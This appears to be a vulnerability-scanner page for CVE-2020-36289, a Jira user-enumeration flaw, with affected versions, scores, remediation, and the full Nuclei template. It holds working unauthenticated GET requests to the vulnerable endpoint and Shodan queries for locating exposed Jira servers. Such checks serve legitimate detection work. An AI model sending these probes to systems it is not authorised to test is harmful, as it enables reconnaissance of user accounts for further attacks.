Jira Server and Data Center - Information Disclosure

mediumseverity

5.3CVSS score

99.4%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

Jira Server and Data Center is susceptible to information disclosure. An attacker can enumerate users via the QueryComponentRendererValue!Default.jspa endpoint and thus potentially access sensitive information, modify data, and/or execute unauthorized operations, Affected versions are before version 8.5.13, from version 8.6.0 before 8.13.5, and from version 8.14.0 before 8.15.1.

Impact

An attacker can gain access to sensitive information, potentially leading to further attacks.

Fix

Apply the necessary patches or updates provided by Atlassian to fix the vulnerability.

How to confirm it

Send: GET {{BaseURL}}/secure/QueryComponentRendererValue!Default.jspa?assignee=user:admin ; GET {{BaseURL}}/jira/secure/QueryComponentRendererValue!Default.jspa?assignee=user:admin
Positive when: contains "rel=\\\"admin\\\"" AND contains in header "application/json" AND status 200

Run it with nuclei: nuclei -id CVE-2020-36289 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2020-36289

info:
  name: Jira Server and Data Center - Information Disclosure
  author: dhiyaneshDk
  severity: medium
  description: Jira Server and Data Center is susceptible to information disclosure. An attacker can enumerate users via the QueryComponentRendererValue!Default.jspa endpoint and thus potentially access sensitive information, modify data, and/or execute unauthorized operations, Affected versions are before version 8.5.13, from version 8.6.0 before 8.13.5, and from version 8.14.0 before 8.15.1.
  impact: |
    An attacker can gain access to sensitive information, potentially leading to further attacks.
  remediation: |
    Apply the necessary patches or updates provided by Atlassian to fix the vulnerability.
  reference:
    - https://twitter.com/ptswarm/status/1402644004781633540
    - https://jira.atlassian.com/browse/JRASERVER-71559
    - https://nvd.nist.gov/vuln/detail/CVE-2020-36289
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/StarCrossPortal/scalpel
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2020-36289
    cwe-id: CWE-863
    epss-score: 0.99362
    epss-percentile: 0.99939
    cpe: cpe:2.3:a:atlassian:data_center:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: atlassian
    product: data_center
    shodan-query:
      - http.component:"Atlassian Jira"
      - http.component:"atlassian jira"
  tags: cve,cve2020,jira,atlassian,unauth,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/secure/QueryComponentRendererValue!Default.jspa?assignee=user:admin'
      - '{{BaseURL}}/jira/secure/QueryComponentRendererValue!Default.jspa?assignee=user:admin'

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'rel=\"admin\"'

      - type: word
        part: header
        words:
          - 'application/json'

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from